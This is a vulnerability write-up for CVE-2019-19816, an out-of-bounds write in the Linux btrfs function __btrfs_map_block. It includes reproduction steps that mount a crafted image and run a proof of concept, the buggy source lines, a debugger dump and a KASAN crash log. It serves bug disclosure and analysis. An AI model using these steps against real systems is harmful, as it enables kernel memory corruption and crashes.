Overview
some operation(with crafted btrfs filesystem image) can cause out of bounds write in __btrfs_map_block
Target
Linux kernel btrfs FileSystem
| Linux Version | Availablity |
|---|---|
| 5.0.21 | True |
Reproduce
gcc -o poc poc_2019_19816.c
mkdir mnt
mount poc_2019_19816.img ./mnt
cp poc ./mnt
cd mnt
./pocRoot cause
static int __btrfs_map_block(struct btrfs_fs_info *fs_info,
enum btrfs_map_op op,
u64 logical, u64 *length,
struct btrfs_bio **bbio_ret,
int mirror_num, int need_raid_map)
{
...
/* build raid_map */
if (map->type & BTRFS_BLOCK_GROUP_RAID56_MASK && need_raid_map &&
(need_full_stripe(op) || mirror_num > 1)) {
u64 tmp;
unsigned rot;
bbio->raid_map = (u64 *)((void *)bbio->stripes +
sizeof(struct btrfs_bio_stripe) *
num_alloc_stripes +
sizeof(int) * tgtdev_indexes);
/* Work out the disk rotation on this stripe-set */
div_u64_rem(stripe_nr, num_stripes, &rot);
/* Fill in the logical address of each stripe */
tmp = stripe_nr * nr_data_stripes(map);
[1] for (i = 0; i < nr_data_stripes(map); i++)
bbio->raid_map[(i+rot) % num_stripes] =
em->start + (tmp + i) * map->stripe_len;
[2] bbio->raid_map[(i+rot) % map->num_stripes] = RAID5_P_STRIPE;
...In line [1], nr_data_stripes(map) returns 1.
when [(i+rot) % map->num_stripes] is 1 in [2], it occurs out of bounds write
Debugger / KASAN
Debugger view:
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x0000000000000000 → 0x0000000000000000
$rbx : 0x0000000000000001 → 0x0000000000000001
$rcx : 0xffffffff816a1b16 → 0x005d894824048b48 → 0x005d894824048b48
$rdx : 0x0000000000000001 → 0x0000000000000001
$rsp : 0xffff88806353f470 → 0xffff888066d49000 → 0x0000000000000001 → 0x0000000000000001
$rbp : 0xffff888066d49080 → 0xa64000ac00000752 → 0xa64000ac00000752
$rsi : 0x0000000000000002 → 0x0000000000000002
$rdi : 0xffff888066d49078 → 0x0000000001400000 → 0x0000000001400000
$rip : 0xffffffff816a1b7a → 0xffc1921ee8ef8948 → 0xffc1921ee8ef8948
$r8 : 0xffffed100cda9201 → 0x0000000000000000 → 0x0000000000000000
$r9 : 0xffffed100cda9201 → 0x0000000000000000 → 0x0000000000000000
$r10 : 0x0000000000000001 → 0x0000000000000001
$r11 : 0xffffed100cda9200 → 0x0000000000000000 → 0x0000000000000000
$r12 : 0x0000000000000000 → 0x0000000000000000
$r13 : 0x0000000000000001 → 0x0000000000000001
$r14 : 0x0000000000000001 → 0x0000000000000001
$r15 : 0x0000000000000000 → 0x0000000000000000
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0010 $ss: 0x0018 $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffff88806353f470│+0x0000: 0xffff888066d49000 → 0x0000000000000001 → 0x0000000000000001 ← $rsp
0xffff88806353f478│+0x0008: 0xffff88806ca9fe10 → 0x0000000000010000 → 0x0000000000010000
0xffff88806353f480│+0x0010: 0x0000000000000000 → 0x0000000000000000
0xffff88806353f488│+0x0018: 0xffff888067908018 → 0x0000000001400000 → 0x0000000001400000
0xffff88806353f490│+0x0020: 0x0000000000000000 → 0x0000000000000000
0xffff88806353f498│+0x0028: 0x0000000000000001 → 0x0000000000000001
0xffff88806353f4a0│+0x0030: 0xffff888066d49058 → 0xffff888066d49078 → 0x0000000001400000 → 0x0000000001400000
0xffff88806353f4a8│+0x0038: 0x0000000000000000 → 0x0000000000000000
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0xffffffff816a1b71 <__btrfs_map_block+1233> div esi
0xffffffff816a1b73 <__btrfs_map_block+1235> mov edx, edx
0xffffffff816a1b75 <__btrfs_map_block+1237> lea rbp, [rbp+rdx*8+0x0]
→ 0xffffffff816a1b7a <__btrfs_map_block+1242> mov rdi, rbp
0xffffffff816a1b7d <__btrfs_map_block+1245> call 0xffffffff812bada0 <__asan_store8>
0xffffffff816a1b82 <__btrfs_map_block+1250> mov rax, QWORD PTR [rsp+0x48]
0xffffffff816a1b87 <__btrfs_map_block+1255> mov QWORD PTR [rbp+0x0], 0xfffffffffffffffe
0xffffffff816a1b8f <__btrfs_map_block+1263> mov rax, QWORD PTR [rax]
0xffffffff816a1b92 <__btrfs_map_block+1266> test ah, 0x1
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── source:fs/btrfs/volumes.c+6247 ────
6242 tmp = stripe_nr * nr_data_stripes(map);
6243 for (i = 0; i < nr_data_stripes(map); i++)
6244 bbio->raid_map[(i+rot) % num_stripes] =
6245 em->start + (tmp + i) * map->stripe_len;
6246
[1] → 6247 bbio->raid_map[(i+rot) % map->num_stripes] = RAID5_P_STRIPE;
6248 if (map->type & BTRFS_BLOCK_GROUP_RAID6)
6249 bbio->raid_map[(i+rot+1) % num_stripes] =
6250 RAID6_Q_STRIPE;
6251 }
6252
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, stopped 0xffffffff816a1b7a in __btrfs_map_block (), reason: SINGLE STEP
[#1] Id 2, stopped 0xffffffff812bad33 in memory_is_poisoned_2_4_8 (), reason: SINGLE STEP
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0xffffffff816a1b7a → __btrfs_map_block(fs_info=<optimized out>, op=<optimized out>, logical=<optimized out>, length=<optimized out>, bbio_ret=<optimized out>, mirror_num=<optimized out>, need_raid_map=0x1)
[#1] 0xffffffff816a37cf → btrfs_map_bio(fs_info=0xffff88806a245500, bio=0xffff888065d064f0, mirror_num=0x0, async_submit=<optimized out>)
[#2] 0xffffffff8164e592 → btree_submit_bio_hook(private_data=<optimized out>, bio=0xffff888065d064f0, mirror_num=0x0, bio_flags=<optimized out>, bio_offset=0x1400000)
[#3] 0xffffffff8168ad59 → submit_one_bio(bio=0xffff888065d064f0, mirror_num=0x0, bio_flags=0x0)
[#4] 0xffffffff8168b2aa → flush_write_bio(epd=<optimized out>)
[#5] 0xffffffff81697014 → btree_write_cache_pages(mapping=<optimized out>, wbc=0xffff88806353fa48)
[#6] 0xffffffff8123c54d → do_writepages(mapping=0xffff8880683c4388, wbc=0xffff88806353fa48)
[#7] 0xffffffff81224eb8 → __filemap_fdatawrite_range(mapping=0xffff8880683c4388, start=<optimized out>, end=<optimized out>, sync_mode=<optimized out>)
[#8] 0xffffffff81224fda → filemap_fdatawrite_range(mapping=<optimized out>, start=<optimized out>, end=<optimized out>)
[#9] 0xffffffff81658f1d → btrfs_write_marked_extents(fs_info=0xffff88806a245500, dirty_pages=0xffff8880692a8cb8, mark=0x1)
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
KASAN log (the trailing kernel BUG panic is truncated):
[ 393.376653] ==================================================================
[ 393.376653] BUG: KASAN: slab-out-of-bounds in __btrfs_map_block+0x4e2/0x1980
[ 393.376653] Write of size 8 at addr ffff888066d49080 by task 263/1874
[ 393.376653]
[ 393.376653] CPU: 0 PID: 1874 Comm: 263 Not tainted 5.0.21 #2
[ 393.376653] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1ubuntu1 04/01/2014
[ 393.376653] Call Trace:
[ 393.376653] dump_stack+0x5b/0x8b
[ 393.376653] print_address_description+0x70/0x280
[ 393.376653] ? __btrfs_map_block+0x4e2/0x1980
[ 393.376653] kasan_report+0x13a/0x19b
[ 393.376653] ? __btrfs_map_block+0x4e2/0x1980
[ 393.376653] ? __btrfs_map_block+0x4e2/0x1980
[ 393.376653] __btrfs_map_block+0x4e2/0x1980
[ 393.376653] ? btrfs_put_bbio+0x20/0x20
[ 393.376653] ? btrfs_bio_counter_inc_blocked+0xa0/0x160
[ 393.376653] ? btrfs_bio_counter_sub+0x70/0x70
[ 393.376653] ? bvec_alloc+0x8b/0x160
[ 393.376653] ? btrfs_wq_submit_bio+0x120/0x120
[ 393.376653] btrfs_map_bio+0x12f/0x650
[ 393.376653] ? btrfs_rmap_block+0x3a0/0x3a0
[ 393.376653] ? btree_csum_one_bio.isra.42+0x145/0x160
[ 393.376653] ? btrfs_wq_submit_bio+0x120/0x120
[ 393.376653] btree_submit_bio_hook+0xe2/0x130
[ 393.376653] submit_one_bio+0xc9/0x100
[ 393.376653] flush_write_bio.isra.41+0x1a/0x40
[ 393.376653] btree_write_cache_pages+0x394/0x530
[ 393.376653] ? write_one_eb+0x3a0/0x3a0
[ 393.376653] ? __sched_text_start+0x8/0x8
[ 393.376653] ? kasan_unpoison_shadow+0x31/0x40
[ 393.376653] ? rb_next+0x4f/0x80
[ 393.376653] ? merge_state.part.45+0x7d/0x250
[ 393.376653] ? __kasan_slab_free+0x147/0x180
[ 393.376653] ? convert_extent_bit+0x4f8/0x6b0
[ 393.376653] ? kmem_cache_free+0x70/0x190
[ 393.376653] ? convert_extent_bit+0x4f8/0x6b0
[ 393.376653] do_writepages+0x2d/0xa0
[ 393.376653] __filemap_fdatawrite_range+0xf8/0x160
[ 393.376653] ? delete_from_page_cache_batch+0x4a0/0x4a0
[ 393.376653] ? btrfs_commit_transaction+0x7da/0xf90
[ 393.376653] ? find_first_extent_bit+0xe6/0x1b0
[ 393.376653] btrfs_write_marked_extents+0x24d/0x260
[ 393.376653] ? btrfs_should_end_transaction+0x80/0x80
[ 393.376653] ? _raw_write_lock_irqsave+0xf0/0xf0
[ 393.376653] ? _raw_read_lock_irq+0x30/0x30
[ 393.376653] ? __wake_up_common+0x4a/0x1d0
[ 393.376653] btrfs_write_and_wait_transaction.isra.21+0xab/0x120
[ 393.376653] ? btrfs_wait_extents+0x40/0x40
[ 393.376653] ? btrfs_commit_transaction+0xbcb/0xf90
[ 393.376653] btrfs_commit_transaction+0xbcb/0xf90
[ 393.376653] ? btrfs_apply_pending_changes+0x80/0x80
[ 393.376653] ? up_write+0xd/0x30
[ 393.376653] btrfs_sync_file+0x5b3/0x600
[ 393.376653] ? start_ordered_ops+0x120/0x120
[ 393.376653] ? vfs_read+0x122/0x190
[ 393.376653] ? ksys_read+0x131/0x160
[ 393.376653] ? kernel_write+0x90/0x90
[ 393.376653] ? vfs_fsync_range+0x81/0x100
[ 393.376653] do_fsync+0x33/0x60
[ 393.376653] __x64_sys_fsync+0x18/0x20
[ 393.376653] do_syscall_64+0x5e/0x150
[ 393.376653] entry_SYSCALL_64_after_hwframe+0x44/0xa9
[ 393.376653] RIP: 0033:0x7f1fb191e469
[ 393.376653] Code: 00 f3 c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d ff 49 2b 00 f7 d8 64 89 01 48
[ 393.376653] RSP: 002b:00007ffe703b9708 EFLAGS: 00000217 ORIG_RAX: 000000000000004a
[ 393.376653] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f1fb191e469
[ 393.376653] RDX: 00007f1fb191e469 RSI: 0000000000001c52 RDI: 0000000000000003
[ 393.376653] RBP: 00007ffe703bb7b0 R08: 00007ffe703bb898 R09: 00007ffe703bb898
[ 393.376653] R10: 00007ffe703bb898 R11: 0000000000000217 R12: 000055ebba9005f0
[ 393.376653] R13: 00007ffe703bb890 R14: 0000000000000000 R15: 0000000000000000
[ 393.376653]
[ 393.376653] Allocated by task 1874:
[ 393.376653] __kasan_kmalloc+0xd5/0xf0
[ 393.376653] alloc_btrfs_bio+0x1b/0x60
[ 393.376653] __btrfs_map_block+0xe9a/0x1980
[ 393.376653] btrfs_map_bio+0x12f/0x650
[ 393.376653] btree_submit_bio_hook+0xe2/0x130
[ 393.376653] submit_one_bio+0xc9/0x100
[ 393.376653] flush_write_bio.isra.41+0x1a/0x40
[ 393.376653] btree_write_cache_pages+0x394/0x530
[ 393.376653] do_writepages+0x2d/0xa0
[ 393.376653] __filemap_fdatawrite_range+0xf8/0x160
[ 393.376653] btrfs_write_marked_extents+0x24d/0x260
[ 393.376653] btrfs_write_and_wait_transaction.isra.21+0xab/0x120
[ 393.376653] btrfs_commit_transaction+0xbcb/0xf90
[ 393.376653] btrfs_sync_file+0x5b3/0x600
[ 393.376653] do_fsync+0x33/0x60
[ 393.376653] __x64_sys_fsync+0x18/0x20
[ 393.376653] do_syscall_64+0x5e/0x150
[ 393.376653] entry_SYSCALL_64_after_hwframe+0x44/0xa9
[ 393.376653]
[ 393.376653] Freed by task 1835:
[ 393.376653] __kasan_slab_free+0x132/0x180
[ 393.376653] kfree+0x8c/0x1a0
[ 393.376653] blk_rq_unmap_user+0x34/0x70
[ 393.376653] sg_io+0x466/0x680
[ 393.376653] scsi_cmd_ioctl+0x362/0x4e0
[ 393.376653] cdrom_ioctl+0x106/0x1419
[ 393.376653] sr_block_ioctl+0xc0/0xf0
[ 393.376653] blkdev_ioctl+0x8e7/0xdb0
[ 393.376653] block_ioctl+0x68/0x80
[ 393.376653] do_vfs_ioctl+0x139/0x8c0
[ 393.376653] ksys_ioctl+0x61/0x70
[ 393.376653] __x64_sys_ioctl+0x38/0x40
[ 393.376653] do_syscall_64+0x5e/0x150
[ 393.376653] entry_SYSCALL_64_after_hwframe+0x44/0xa9
[ 393.376653]
[ 393.376653] The buggy address belongs to the object at ffff888066d49000
[ 393.376653] which belongs to the cache kmalloc-128 of size 128
[ 393.376653] The buggy address is located 0 bytes to the right of
[ 393.376653] 128-byte region [ffff888066d49000, ffff888066d49080)
[ 393.376653] The buggy address belongs to the page:
[ 393.376653] page:ffffea00019b5240 count:1 mapcount:0 mapping:ffff88806d001640 index:0x0
[ 393.376653] flags: 0x100000000000200(slab)
[ 393.376653] raw: 0100000000000200 ffffea0001a98040 0000001700000017 ffff88806d001640
[ 393.376653] raw: 0000000000000000 0000000080150015 00000001ffffffff 0000000000000000
[ 393.376653] page dumped because: kasan: bad access detected
[ 393.376653]
[ 393.376653] Memory state around the buggy address:
[ 393.376653] ffff888066d48f80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[ 393.376653] ffff888066d49000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[ 393.376653] >ffff888066d49080: fc fc fc fc fc fc fc fc fb fb fb fb fb fb fb fb
[ 393.376653] ^
[ 393.376653] ffff888066d49100: fb fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc
[ 393.376653] ffff888066d49180: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[ 393.376653] ==================================================================
[ 393.376653] Disabling lock debugging due to kernel taint
[ 393.754098] ------------[ cut here ]------------
[ 393.754098] kernel BUG at fs/btrfs/raid56.c:522!
...
Details
CVSS 7.8 (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H), CWE-787, published 2019-12-17, last modified 2024-11-21.
Attribution
Found as part of the Best of the Best (BoB) 8th bobfuzzer team project — a five-person team that ported the JANUS file-system fuzzer. This is team work, not sole authorship.